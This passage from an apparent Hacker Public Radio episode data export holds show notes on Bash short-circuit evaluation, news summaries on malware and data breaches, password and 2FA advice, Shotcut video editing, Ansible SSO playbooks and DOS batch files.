                                                            In simple terms, short-circuiting is where the evaluation of an expression is stopped as soon as its outcome is determined.

                                                            \n

                                                            The Wikipedia article Short-circuit evaluation defines it as:

                                                            \n
                                                            \n

                                                            Short-circuit evaluation, minimal evaluation, or McCarthy evaluation (after John McCarthy) is the semantics of some Boolean operators in some programming languages in which the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND function evaluates to false, the overall value must be false; and when the first argument of the OR function evaluates to true, the overall value must be true.

                                                            \n
                                                            \n

                                                            This article contains a table entitled Boolean operators in various languages which shows details of how various programming and scripting languages cater for this feature.

                                                            \n

                                                            Use case

                                                            \n

                                                            I was writing a Bash script in which I wanted to ask questions about various steps - should they be done or not? Alternatively, I wanted to be able to set an option to run without interaction and assume the answer is 'yes' to all questions.

                                                            \n

                                                            I’d encountered short-circuit evaluation before in Pascal and Perl so I wondered if I could use it in Bash.

                                                            \n

                                                            The expression I was trying to write was:

                                                            \n
                                                            if [[ $YES -eq 1 ]] || yes_no 'Create directory? %s ' 'N'; then\n    # Create directory\nfi
                                                            \n\n

                                                            The requirement was that if YES was set to 1 I didn’t want the function to be called at all.

                                                            \n

                                                            I was a little surprised, and very happy, to find that this is what happens.

                                                            \n

                                                            Here is the full example from the script that started me thinking about this issue - and therefore caused me to make this show:

                                                            \n
                                                            #\n# We need a show directory. If it doesn't exist then we'll create it because\n# other scripts will use it.\n#\nif [[ ! -d $SHOWDIR ]]; then\n    echo "${red}There is no directory for show $show${reset}"\n\n    #\n    # If the -Y option was not chosen ask with 'yes_no'. It -Y was chosen\n    # we're to go ahead regardless. This relies on the fact that Bash\n    # "short-circuits" logical expressions like this.\n    #\n    if [[ $YES -eq 1 ]] || yes_no 'Create directory? %s ' 'N'; then\n        mkdir "$SHOWDIR"\n        _silent "${green}Directory created for show $show${reset}"\n    else\n        _silent "${yellow}Not changed${reset}"\n    fi\nfi
                                                            \n

                                                            Notes:

                                                            \n
                                                              \n
                                                            • I have a Bash function that defines colours which is included into this script. That’s why you see 'echo \"${red}...${reset}\"' in the above. I also have a function to turn off colour by setting the relevant variables to empty strings.
                                                            • \n
                                                            • The 'yes_no' function takes a prompt string with an (optional) '%s' placeholder for the expected inputs and default. This is followed by the default: 'N'.
                                                            • \n
                                                            • The function '_silent' writes the message given as its argument, depending on the setting of a 'SILENT' variable set earlier.
                                                            • \n
                                                            \n

                                                            Should it be used?

                                                            \n

                                                            Case 1

                                                            \n

                                                            Bash uses short-circuiting in other contexts. This was discussed in the Bash Tips series, episode 10 with the example:

                                                            \n
                                                            [ -e /some/file ] || exit 1
                                                            \n

                                                            Here the test is performed using '-e' to determine if '/some/file' exists. The result is either true or false. If the test returns true then the overall result of the or is true and the evaluation is short-circuited so that the 'exit 1' is not invoked. If the test is false then the second expression has to be evaluated to determine the overall result, so the 'exit 1' is invoked and the script exits.

                                                            \n

                                                            Incidentally, the '[ -e file ]' construct is actually an instance of the test command so could be written:

                                                            \n
                                                            test -e /some/file || exit 1
                                                            \n

                                                            You might be familiar with command pipelines which use this technique, such as:

                                                            \n
                                                            sudo apt update && sudo apt upgrade
                                                            \n

                                                            If the 'apt update' is successful the 'apt upgrade' is run. If it fails then the second command is not run.

                                                            \n

                                                            Case 2

                                                            \n

                                                            We have seen the example that prompted me to make this show:

                                                            \n
                                                            if [[ $YES -eq 1 ]] || yes_no 'Create directory? %s ' 'N'; then\n    # Create directory\nfi
                                                            \n

                                                            This could have been written as:

                                                            \n
                                                            if [[ $YES -eq 1 ]]; then\n    # Create directory\nelif yes_no 'Create directory? %s ' 'N'; then\n    # Create directory\nfi
                                                            \n

                                                            I prefer the first way, but it could be argued in a development environment that co-workers might find it confusing.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            So, my conclusion is that short-circuiting is a desirable feature that I will continue to use.

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,Boolean expression,short-circuit evaluation","version":0,"downloads":0,"valid":1}, {"id":3714,"date":"2022-10-27","title":"The News with Some Guy On the Internet","duration":609,"summary":"Threat Analysis","notes":"

                                                            Threat Analysis; your\nattack surface.

                                                            \n

                                                            The Hacker News

                                                            \nNew\nChinese Malware Attack Framework Targets Windows, macOS, and Linux\nSystems.\n

                                                            A previously undocumented command-and-control (C2) framework dubbed\nAlchimist is likely being used in the wild to target Windows, macOS, and\nLinux systems.

                                                            \n

                                                            \"Alchimist C2 has a web interface written in Simplified Chinese and\ncan generate a configured payload, establish remote sessions, deploy\npayloads to the remote machines, capture screenshots, perform remote\nshellcode execution, and run arbitrary commands,\" Cisco Talos said in a\nreport shared with The Hacker News. Written in GoLang, Alchimist is\ncomplemented by a beacon implant called Insekt, which comes with remote\naccess features that can be instrumented by the C2 server.”

                                                            \n

                                                            \"Since Alchimist is a single-file based ready-to-go C2 framework, it\nis difficult to attribute its use to a single actor such as the authors,\nAPTs, or crimeware syndicates.\"

                                                            \n

                                                            The trojan, for its part, is equipped with features typically present\nin backdoors of this kind, enabling the malware to get system\ninformation, capture screenshots, run arbitrary commands, and download\nremote files, among others.

                                                            \n

                                                            Alchimist C2 panel further features the ability to generate first\nstage payloads, including PowerShell and wget code snippets for Windows\nand Linux, potentially allowing an attacker to flesh out their infection\nchains to distribute the Insekt RAT binary. The instructions could then\nbe potentially embedded in a maldoc attached to a phishing email that,\nwhen opened, downloads and launches the backdoor on the compromised\nmachine. What's more, the Linux version of Insekt is capable of listing\nthe contents of the \".ssh\" directory and even adding new SSH keys to the\n\"~/.ssh/authorized_keys\" file to facilitate remote access over SSH.

                                                            \n

                                                            The Hacker News

                                                            \nHackers\nUsing Vishing to Trick Victims into Installing Android Banking\nMalware.\n

                                                            Malicious actors are resorting to voice phishing (vishing) tactics to\ndupe victims into installing Android malware on their devices.

                                                            \n

                                                            The Dutch mobile security company said it identified a network of\nphishing websites targeting Italian online-banking users that are\ndesigned to get hold of their contact details.

                                                            \n

                                                            Telephone-oriented attack delivery (TOAD), as the social engineering\ntechnique is called, involves calling the victims using previously\ncollected information from the fraudulent websites.

                                                            \n

                                                            The caller, who purports to be a support agent for the bank,\ninstructs the individual on the other end of the call to install a\nsecurity app and grant it extensive permissions, when, in reality, it's\nmalicious software intended to gain remote access or conduct financial\nfraud.

                                                            \n

                                                            What's more, the infrastructure utilized by the threat actor has been\nfound to deliver a second malware named SMS Spy that enables the\nadversary to gain access to all incoming SMS messages and intercept\none-time passwords (OTPs) sent by banks.

                                                            \n

                                                            The new wave of hybrid fraud attacks presents a new dimension for\nscammers to mount convincing Android malware campaigns that have\notherwise relied on traditional methods such as Google Play Store\ndroppers, rogue ads, and smishing.

                                                            \n

                                                            The Hacker News

                                                            \n64,000\nAdditional Patients Impacted by Omnicell Data Breach - What is Your Data\nBreach Action Plan?\n

                                                            Founded in 1992, Omnicell is a leading provider of medication\nmanagement solutions for hospitals, long-term care facilities, and\nretail pharmacies. On May 4, 2022, Omnicell's IT systems and third-party\ncloud services were affected by ransomware attacks which may lead to\ndata security concerns for employees and patients. While it is still\nearly in the investigation, this appears to be a severe breach with\npotentially significant consequences for the company.

                                                            \n

                                                            Omnicell began informing individuals whose information may have been\ncompromised on August 3, 2022. Hackers may be able to access and sell\npatient-sensitive information, such as social security numbers, due to\nthe time delay between the breach and the company's report of affected\npatients.

                                                            \n

                                                            The type of information that may be exposed are:

                                                            \n
                                                              \n
                                                            • Credit card information.
                                                            • \n
                                                            • Financial information.
                                                            • \n
                                                            • Social security numbers.
                                                            • \n
                                                            • Driver's license numbers.
                                                            • \n
                                                            • Health insurance details.
                                                            • \n
                                                            \n

                                                            The healthcare industry is one of the most targeted sectors globally,\nwith attacks doubling year over year. And these costs are measured in\nmillions or even billions of dollars - not to mention increased risks\nfor patients' privacy (and reputation).

                                                            \n

                                                            The Washington Post

                                                            \n

                                                            How to\nprotect schools getting whacked by ransomware.

                                                            \n

                                                            Ransomware gangs are taking Americans to school. So far this year,\nhackers have taken hostage at least 1,735 schools in 27 districts; the\nmassive Los Angeles Unified School District is their latest target.

                                                            \n

                                                            Ransomware hackers breach computers, lock them up, steal sensitive\ndata and demand money to release their hold on organizations’ critical\nsystems. These criminals often attack schools because they are\nprofitable targets. If all ransomware victims refused to pay, the\nattacks would stop. Indeed, paying up might be illegal: The Treasury\nDepartment released guidance last year noting that giving money to\nglobal criminal organizations can violate sanctions law.

                                                            \n

                                                            The trouble is, saying no isn’t always easy. Los Angeles didn’t\ncapitulate, and the criminals leaked a trove of data — a consequence\nthat can prove more or less serious depending on the sensitivity of the\nstolen information.

                                                            \n

                                                            “Because we can,” said a representative of the ransomware gang that\ntook down Los Angeles Unified School District, explaining the\ncollective’s motivations to a Bloomberg News reporter. Schools’ task is\nto turn “can” to “can’t” — or, at least, to make success pay a whole lot\nless.

                                                            \n

                                                            CNET News.

                                                            \nVerizon\nAlerts Prepaid Customers to Recent Security Breach.\n

                                                            Verizon notified prepaid customers this week of a recent cyberattack\nthat granted third-party actors access to their accounts, as reported\nearlier Tuesday by BleepingComputer. The attack occurred between Oct. 6\nand Oct. 10 and affected 250 Verizon prepaid customers.

                                                            \n

                                                            The breach exposed the last four digits of customers' credit cards\nused to make payments on their prepaid accounts. While no full credit\ncard information was accessible, the information was enough to grant the\nattackers access to Verizon user accounts, which hold semi-sensitive\ndata such \"name, telephone number, billing address, price plans, and\nother service-related information,\" per a notice from Verizon.

                                                            \n

                                                            Account access also potentially enabled attackers to process\nunauthorized SIM card changes on prepaid lines. Also known as SIM\nswapping, unauthorized SIM card changes can allow for the transfer of an\nunsuspecting person's phone number to another phone.

                                                            \n

                                                            From there, the counterfeit phone can be used to receive SMS messages\nfor password resets and user identification verifications on other\naccounts, giving attackers potential access to any account they have, or\ncan guess, the username for. Consequently, Verizon recommended affected\ncustomers secure their non-Verizon accounts such as social media,\nfinancial, email and other accounts that allow for password resets by\nphone.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Threat Analysis, Security Breach, Ransomware, Data Breach, TOAD","version":0,"downloads":0,"valid":1}, {"id":3715,"date":"2022-10-28","title":"Secret hat conversations, Part 2.","duration":3899,"summary":"Twin Tin Hats, feat. archer72.","notes":"
                                                              \n
                                                            • Quantum computing

                                                              \n
                                                                \n
                                                              • Quantum\ncomputing is a type of computation whose operations can harness the\nphenomena of quantum mechanics, such as superposition, interference, and\nentanglement. Devices that perform quantum computations are known as\nquantum computers. Though current quantum computers are too small to\noutperform usual (classical) computers for practical applications,\nlarger realizations are believed to be capable of solving certain\ncomputational problems, such as integer factorization (which underlies\nRSA encryption), substantially faster than classical computers.
                                                              • \n
                                                              • Today’s quantum\nsystems only include tens or hundreds of entangled qubits, limiting\nthem from solving real-world problems. To achieve quantum practicality,\ncommercial quantum systems need to scale to over a million qubits and\novercome daunting challenges like qubit fragility and software\nprogrammability.
                                                              • \n
                                                              • Quantum\ncomputers, if they mature enough, will be able to crack much of\ntoday's encryption. That'll lay bare private communications, company\ndata and military secrets. Today's quantum computers are too rudimentary\nto do so. But data surreptitiously gathered now could still be sensitive\nwhen more powerful quantum computers come online in a few years.
                                                              • \n
                                                              • Simple\npasswords can be cracked using brute force; this is where an\nattacker uses tools that try every possible password until the correct\none is found. This generally done using a dictionary attack, where an\nattacker will try known passwords and words until they find the one that\nunlocks an account. There are databases available on the internet that\ncontain personal names as well as dictionary and slang words, in scores\nof languages, along with passwords found in data breaches, and\nmore.
                                                              • \n
                                                            • \n
                                                            • Encryption.

                                                              \n
                                                                \n
                                                              • The Advanced\nEncryption Standard (AES) specifies a FIPS-approved cryptographic\nalgorithm that can be used to protect electronic data. The AES algorithm\nis a symmetric block cipher that can encrypt (encipher) and decrypt\n(decipher) information. Encryption converts data to an unintelligible\nform called ciphertext; decrypting the ciphertext converts the data back\ninto its original form, called plaintext. The AES algorithm is capable\nof using cryptographic keys of 128, 192, and 256 bits to encrypt and\ndecrypt data in blocks of 128 bits.
                                                              • \n
                                                              • The National Security Agency (NSA) reviewed all the AES\nfinalists, including Rijndael, and stated that all of them were secure\nenough for U.S. Government non-classified data. In June 2003, the U.S.\nGovernment announced that AES could be used to protect classified\ninformation: For cryptographers, a cryptographic \"break\" is anything\nfaster than a brute-force attack – i.e., performing one trial decryption\nfor each possible key in sequence. A break can thus include results that\nare infeasible with current technology. Despite being impractical,\ntheoretical breaks can sometimes provide insight into vulnerability\npatterns. The largest successful publicly known brute-force attack\nagainst a widely implemented block-cipher encryption algorithm was\nagainst a 64-bit RC5 key by distributed.net in 2006.
                                                              • \n
                                                            • \n
                                                            • Password Management.

                                                              \n
                                                                \n
                                                              • Bitwarden
                                                              • \n
                                                              • KeepassXC
                                                              • \n
                                                              • Tips\nfor creating a strong password\n
                                                                  \n
                                                                • Enable Two-Factor authentication whenever possible. While a great\npassphrase will help secure you and the Commonwealth’s data, a second\nfactor makes it that much more difficult for hackers to gain\naccess.
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Password Generation.

                                                              \n
                                                                \n
                                                              • pwgen : found in most linux repos
                                                              • \n
                                                              • Man page for pwgen
                                                              • \n
                                                              • Example : pwgen -y 50 3 : generates a 50 character password with\nsymbols, with 3 choices
                                                              • \n
                                                            • \n
                                                            • Google and Amazon are listening

                                                              \n
                                                                \n
                                                              • CNET article on Google and\nAmazon
                                                              • \n
                                                            • \n
                                                            \n
                                                                "I don't blame anyone who doesn't want to fill their house with cameras and\n    microphones, but I also don't blame anyone who's willing to trade some of their\n    data with a company they feel comfortable with in order to bring some new\n    convenience and utility into their lives. It's nearly impossible to navigate\n    today's age without making trades like that on a daily basis."
                                                            \n
                                                            \n

                                                            What is Web\nScraping? Web scraping is an automatic method to obtain large\namounts of data from websites.

                                                            \n

                                                            What is Machine\nLearning? Machine Learning, as the name says, is all about machines\nlearning automatically without being explicitly programmed or learning\nwithout any direct human intervention. This machine learning process\nstarts with feeding them good quality data and then training the\nmachines by building various machine learning models using the data and\ndifferent algorithms.

                                                            \n
                                                            \n
                                                              \n
                                                            1. The October\nSuprise.
                                                            2. \n
                                                            3. The fruit\nof the poisonous tree.
                                                            4. \n
                                                            5. This Is the Data Facebook Gave Police to Prosecute\na Teenager for Abortion.
                                                            6. \n
                                                            7. Google is giving\ndata to police based on search keywords, court docs show.
                                                            8. \n
                                                            9. Google bans dad for ‘child porn’ after he\nsent pics of toddler’s swollen genitals to doctor.
                                                            10. \n
                                                            11. Proton VPN Transparency\nReport & Warrant Canary.
                                                            12. \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Tin hat, Quantum computing, Encryption, Conspiracy","version":0,"downloads":0,"valid":1}, {"id":3716,"date":"2022-10-31","title":"How I got in to Tech","duration":531,"summary":"My journey in to technology","notes":"

                                                            I share my story about how I got in to technology.

                                                            \n","hostid":405,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"career,technology","version":0,"downloads":0,"valid":1}, {"id":3717,"date":"2022-11-01","title":"Video editing with Shotcut on a low end PC","duration":695,"summary":"In this episode I explain how I use the shotcut video editor to edit video on a low end PC.","notes":"

                                                            Links

                                                            \n

                                                            Shotcut video editor website

                                                            \n

                                                            Useful\nShortcut keys for the Shotcut video editor

                                                            \n
                                                            C = copy\nV = paste\nA = duplicate\nX = ripple delete\nCtrl + X = ripple delete but send to clipboard\nS = split
                                                            \n

                                                            Tip not covered in my\nPodcast

                                                            \n

                                                            Splits are not fixed and can be adjusted. Once you've split up clips\nand put them in the right order on the timeline you can still adjust the\ncut point even though you previously split the clip because the clip is\nreferenced to the original file in the playlist.

                                                            \n

                                                            Introduction

                                                            \n

                                                            Hello and welcome Hacker Public Radio audience my name is Mr X\nwelcome to this podcast. As per usual I'd like to start by thanking the\npeople at HPR for making this podcast possible. HPR is a Community led\npodcast provided by the community for the community that means you can\ncontribute to. The HPR team have gone to great deal of effort to\nsimplify and streamline the process of providing podcasts. There are\nmany ways to record an episode these days using phones tablets PCs and\nalike. The hardest barrier is sending in your first show. Don't get too\nhung up about quality, it's more important just to send something in.\nThe sound quality of some of my early shows wasn't very good. If I can\ndo it anyone can and you might just get hooked in the process.

                                                            \n

                                                            Well it's been almost a year since I've sent in a show. Looking at\nthe HPR site my last episode was back in November 2021. I suspect like\nmany others life has become more complicated and I find I have much less\nspare time and because I have much less spare time I have much less time\nto pursue my hobbies and because of this I have less to speak about and\nbecause of this I have less time to record what I've been doing and it\nall turns into to vicious circle. Fortunately I recently had some time\noff work and had a lovely holiday. During the holiday I ended up\nrecording some video which I decided I wanted to edit. I've done some\nvideo editing in the past using various video editing packages. The best\nand most recent of which is shotcut.

                                                            \n

                                                            Specific details and\nequipment

                                                            \n

                                                            Video resolution 1920 x 1080, Codec h264 mpeg-4, Frame rate 30 frames\nper second.

                                                            \n

                                                            Computer Dell Optiplex 780. Fitted with 4 GB of internal RAM and\nonboard video graphics card.

                                                            \n

                                                            Shotcut version 22.06.23 Shotcut is a free open-source cross-platform\nvideo editor licenced under the GNU general public licence version\n3.0

                                                            \n

                                                            This episode will only cover basic shotcut video editing techniques.\nShotcut contains many advanced features and effects that will not be\ncovered in this episode. A lot of the workflow I’ll share with you today\nis intended to get around limitations imposed by my low spec PC

                                                            \n

                                                            I'll try my best to cover the video editing process in this podcast\nusing words alone; however I am conscious that an accompanying video\nwould make it easier to follow along.

                                                            \n

                                                            Shotcut workflow

                                                            \n

                                                            Start by creating a folder to hold all the required media files.\nAudio tracks and sound effects can be added to this folder later. Make\nsure all your video files are using the same frame rate in my case 30\nframes per second.

                                                            \n

                                                            Open each video file in VLC one at a time going through each video\nfile looking for the best portions of video. Make a note of where the\nbest portions of the video are by writing down the start and end points\nin minutes and seconds.

                                                            \n

                                                            I do this because the interface of VLC is more responsive than\nshortcut and the resolution of displayed video is far greater than the\npreview in shortcut. This makes it quicker and easier to find the best\nportions of video.

                                                            \n

                                                            Open shortcut and make sure the new project is set to the same frames\nper second as the media files you're working with, in my case 30 frames\nper second. You can check the frame rate of your project by looking at\nthe selected video mode in the new projects window. If you select\nautomatic it will ensure the project resolution and frame rate\nautomatically match that of your media files.

                                                            \n

                                                            Start by adding all the video files to the playlist, this can be done\nin a number of ways for example it can be done by clicking on the open\nfile button in the top toolbar or within the open files menu.\nAlternatively you can drag and drop files into the playlist. I find this\nto be the easiest way to add media files to a project. Once this is done\nsave your project.

                                                            \n

                                                            Drag the first file from the Playlist to the timeline making sure\nthat the start of the video starts at 0 seconds.

                                                            \n

                                                            Click on the timeline in the position where the first start point of\ninterest is needed. Use the S key to split the video at this point.\nDon't worry about being too accurate as this can be moved at a later\nstage.

                                                            \n

                                                            Repeat this process for the end point of interest.

                                                            \n

                                                            Repeat this again for all the other sections of start and end points\nof interest.

                                                            \n

                                                            Remove the unwanted sections of video by clicking on a section then\nhitting the delete key. This will remove the unwanted section leaving an\nempty space behind.

                                                            \n

                                                            Once all the unwanted sections are removed click on the sections of\nvideo and pull them to the left to close the gaps up. I find it useful\nto leave some space between the good sections of video as it makes it\neasier to see where splits are and makes it easier later on to rearrange\nthe order of the individual clips.

                                                            \n

                                                            Check the start and end points of the remaining sections of video to\nsee that the start and end points stop in the correct place. You can do\nthis by clicking the play button on the preview window. The video start\nand end points can be adjusted by dragging the section left or right in\nin the timeline section; this is where leaving spaces Between each\nsection of video can be handy as it allows for fine tuning.

                                                            \n

                                                            Add a new blank video track to the timeline to hold the next video.\nNote this wasn't required when adding the first video track but it is\nneeded for each subsequent track. A video track can be added by right\nclicking on an empty portion of the timeline and selecting add video\ntrack. Alternatively use the ctrl + I key.

                                                            \n

                                                            Drag your second video from the playlist onto the newly created blank\nvideo track in the timeline. As before make sure that the start of the\nvideo starts at 0 seconds.

                                                            \n

                                                            Before previewing any section of the second video track click the\nsmall eye shaped hide icon in the left section of the first video track\nlabelled output. This will prevent previewing both video tracks at the\nsame time.

                                                            \n

                                                            Repeat the process above of chopping the second video track into\nsections using the S key to split the video up. Remove the unwanted\nsections. Finally adjust the start and end points of the remaining\nsections.

                                                            \n

                                                            Repeat the steps above to add the remaining video files one at a time\nfrom the playlist to the timeline.

                                                            \n

                                                            When complete you end up with separate video tracks in the timeline\neach containing good sections of video.

                                                            \n

                                                            At this stage I can't be too specific about how to continue as there\nare a number of different options depending on your particular Project.\nYou can for example start by combining the good sections of video into\none video track by dragging them from one track to another then add if\nrequired an audio track or you can add the audio track first and then\ntry to sync things up to the audio track moving bits and pieces of video\ninto one video track remembering to hide the unwanted sections of video\nby clicking on the small hide eye icons. Don't do too much editing\nwithout saving the project. If you get a message about low memory save\nthe project then reopen it.

                                                            \n

                                                            To export the final video click on the export button in the toolbar.\nI pick the default option, this creates an H.264/AAC MP4 file suitable\nfor most users and purposes. You can check the frame rate is the same as\nyour original media files by clicking on the advanced tab. Click the\nexport file button and give it a file name. It may take some time to\ncreate the export file. This will be dependent on the speed of your\ncomputer and the length and resolution of your project.

                                                            \n

                                                            While Shotcut is far from perfect on my puny PC it is surprisingly\nusable and stable and is the best option I’ve found so far.

                                                            \n

                                                            Finally here are some general shotcut tips I have when doing video\nediting on a puny PC with limited ram, slow processor and built in\ngraphics card such as mine.

                                                            \n

                                                            General Tips\nwhen working with a low powered PC

                                                            \n

                                                            Close all open applications leaving only shortcut open this helps\nwith RAM usage

                                                            \n

                                                            Shortcut is surprisingly stable with a feeble PC such as mine. I\nwould still recommend saving your project regularly as it is quick and\nvery easy to do.

                                                            \n

                                                            If you get a message about running out of RAM then try not to do too\nmuch more editing before saving the project. Once saved close shotcut\nand then reopen it. The longer your project is and the higher your\nproject resolution the more RAM you will need.

                                                            \n

                                                            When you are about to export your final video save the project close\nshortcut reopen shotcut and immediately export your project as any\nprevious editing may be taking up precious ram.

                                                            \n

                                                            Be patient when clicking on the timeline to repositioned the play\nhead. Always wait for the preview window to update. This can sometimes\ntake a few seconds.

                                                            \n

                                                            When trying to sync video to audio you need to zoom in in quite a\nlong way before getting an audio preview. When doing this and moving the\nplay head you'll get a choppy version of the audio with this it is still\nperfectly possible to find the beat of the music allowing you to sync\nyour video to the music. If this doesn't seem to work for you then try\nzooming in closer.

                                                            \n

                                                            Ok that's about it for this podcast. Hope it wasn't too boring and it\nmade some sense. If you want to contact me I can be contacted at\nmrxathpr at googlemail.

                                                            \n

                                                            Thank you and goodbye.

                                                            \n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"workflow, tips, video, editing, application","version":0,"downloads":0,"valid":1}, {"id":3718,"date":"2022-11-02","title":"Making Ansible playbooks to configure Single Sign On for popular open source applications","duration":239,"summary":"A small introduction into my latest project when I spoke at the recent Nextcloud 2022 conference.","notes":"

                                                            This is a recording of a short introduction into my latest\nproject.

                                                            \n

                                                            To help sysadmins everywhere the Onestein organization (an\norganization specialized in Odoo implementations) invested 4 month of\nresearch to create a set of easy to use Ansible playbooks to configure\nsingle sign on (SSO) for popular open source applications to enable them\nto authenticate to a Keycloak server as the central identity\nprovider.

                                                            \n

                                                            These playbooks have been published on https://github.com/onesteinbv/project_single_sign_on.

                                                            \n

                                                            The list of supported applications are currently:

                                                            \n
                                                              \n
                                                            • Bitwarden
                                                            • \n
                                                            • Jenkins
                                                            • \n
                                                            • Gitlab
                                                            • \n
                                                            • Keycloak (not SSO, but the identity provider)
                                                            • \n
                                                            • Nextcloud
                                                            • \n
                                                            • Odoo
                                                            • \n
                                                            • Xwiki
                                                            • \n
                                                            • Zabbix
                                                            • \n
                                                            \n

                                                            All playbooks and servers are for Ubuntu servers and are meant to be\nused as a starting point.

                                                            \n

                                                            5 minute YouTube talk at the 2022 Nextcloud conference about this\nproject:
                                                            \nhttps://www.youtube.com/watch?v=pDPKzo8Bi10

                                                            \n","hostid":369,"series":61,"explicit":0,"license":"CC-BY-SA","tags":"ansible, playbooks, sso, keycloak, single sign on","version":0,"downloads":0,"valid":1}, {"id":3719,"date":"2022-11-03","title":"HPR News","duration":594,"summary":"InfoSec; the language of security.","notes":"

                                                            InfoSec; the language of\nsecurity.

                                                            \n

                                                            What\nis Typosquatting and How Do Scammers Use it?

                                                            \n
                                                              \n
                                                            • Typosquatting, as an attack, uses modified or misspelled domain\nnames to trick users into visiting fraudulent websites; the heart of\nthis attack is domain name registration. Typosquatting is deployed by\nscammers to defraud unaware users. Attackers will attempt to: mimic\nlogin pages, redirect traffic, download malware, and extort users.
                                                            • \n
                                                            • Past Known Typosquatting Attacks.\n
                                                                \n
                                                              • Several\nMalicious Typosquatted Python Libraries Found On PyPI\nRepository
                                                              • \n
                                                              • Over\n700 Malicious Typosquatted Libraries Found On RubyGems\nRepository
                                                              • \n
                                                              • Security\nadvisory: malicious crate rustdecimal
                                                              • \n
                                                              • This\nWeek in Malware-Malicious Rust crate, 'colors' Typosquats
                                                              • \n
                                                            • \n
                                                            • Solutions to Typosquatting.\n
                                                            • \n
                                                            • DNS monitoring services.\n
                                                                \n
                                                              • Link to dnstwister: https://dnstwister.report/
                                                              • \n
                                                              • Link to whois: https://www.whois.com/whois
                                                              • \n
                                                            • \n
                                                            • Password Managers.\n
                                                                \n
                                                              • Link to bitwarden: https://bitwarden.com/
                                                              • \n
                                                              • Link to keepassxc: https://keepassxc.org/
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Two-factor and\nMultifactor Authentication.

                                                            \n
                                                              \n
                                                            • First, authentication. This is the process of verifying the\nvalidity of something; in our case, user credentials/identity. The most\ncommon way to authenticate is: USERNAME and PASSWORD.\nThis is just a single layer (single-factor authentication) and isn’t\nenough to discourage attackers.

                                                            • \n
                                                            • Second, 2FA (Two-factor Authentication). 2FA increases the\ndifficulty for attackers by providing users an additional layer of\nsecurity to accomplish authentication. Common 2FA methods are: TOTP/OTP\n(the One Time Password), Authenticator\nApplications (Bitwarden, KeePassXC,...), and Security Keys (Yubikey). This works similar to ATMs;\nto authenticate the user must provide both knowledge (account\nPIN) and a physical object (bank card).

                                                            • \n
                                                            • Last, but not least, MFA (Multifactor Authentication). Similar to\n2FA, MFA offers users security with the addition of biometrics\n(fingerprint scan, retina scan, facial recognition, and voice\nrecognition). Attackers must overcome the knowledge factor, Possession\nfactor, Inherence/Biometric factor, Time factor, and sometimes Location\nfactor.

                                                            • \n
                                                            • MORE helpful security information.

                                                              \n
                                                            • \n
                                                            • 2FA/MFA Known Attacks.

                                                              \n
                                                                \n
                                                              • Bots\nThat Steal Your 2FA Codes.
                                                              • \n
                                                              • hackers\nare cracking two-factor authentication
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"InfoSec, Typosquatting, SFA, 2FA, MFA, Security","version":0,"downloads":0,"valid":1}, {"id":3720,"date":"2022-11-04","title":"Practicing Batch Files With ECHO","duration":731,"summary":"More on DOS. This time it is using the ECHO command with batch files.","notes":"

                                                            This continues our look at batch files by demonstrating the use of the ECHO command. This command can be used to display things on the screen, or hide them, as you wish.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, batch files, ECHO","version":0,"downloads":0,"valid":1}, {"id":3721,"date":"2022-11-07","title":"HPR Community News for October 2022","duration":3248,"summary":"HPR Volunteers talk about shows released and comments posted in October 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n\n Paul J, \n m0dese7en, \n CCHits.net Team.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3696Mon2022-10-03HPR Community News for September 2022HPR Volunteers
                                                            3697Tue2022-10-04Mis-information, Dis-information, and Fake News. You are a product and target for all of it.Lurking Prion
                                                            3698Wed2022-10-05SpectrogramKlaatu
                                                            3699Thu2022-10-06Old and new videogames/board games with guest binrcCeleste
                                                            3700Fri2022-10-07Introduction to Batch FilesAhuka
                                                            3701Mon2022-10-10ReiserFS - the file system of the futurePaul J
                                                            3702Tue2022-10-11Easter OggDave Morriss
                                                            3703Wed2022-10-12McCurdy House Touroperat0r
                                                            3704Thu2022-10-13Follow up to hpr3685 :: Budget and an Android appArcher72
                                                            3705Fri2022-10-14The Year of the FreeBSD Desktopbinrc
                                                            3706Mon2022-10-17The Future of TechnologyLurking Prion
                                                            3707Tue2022-10-18Recovering a Massive 3.5 HP Electric Motor from a TreadmillMechatroniac
                                                            3708Wed2022-10-19Insomnia as a HobbyTrumpetJohn
                                                            3709Thu2022-10-20Relationships to games and console generationsm0dese7en
                                                            3710Fri2022-10-21Changing Plans AgainAhuka
                                                            3711Mon2022-10-24CarsZen_Floater2
                                                            3712Tue2022-10-25The last ever CCHits.net ShowCCHits.net Team
                                                            3713Wed2022-10-26Bash snippet - short-circuit evaluation in Bash Boolean expressionsDave Morriss
                                                            3714Thu2022-10-27The News with Some Guy On the InternetSome Guy On The Internet
                                                            3715Fri2022-10-28Secret hat conversations, Part 2.Some Guy On The Internet
                                                            3716Mon2022-10-31How I got in to TechLurking Prion
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 34 comments in total.

                                                            \n
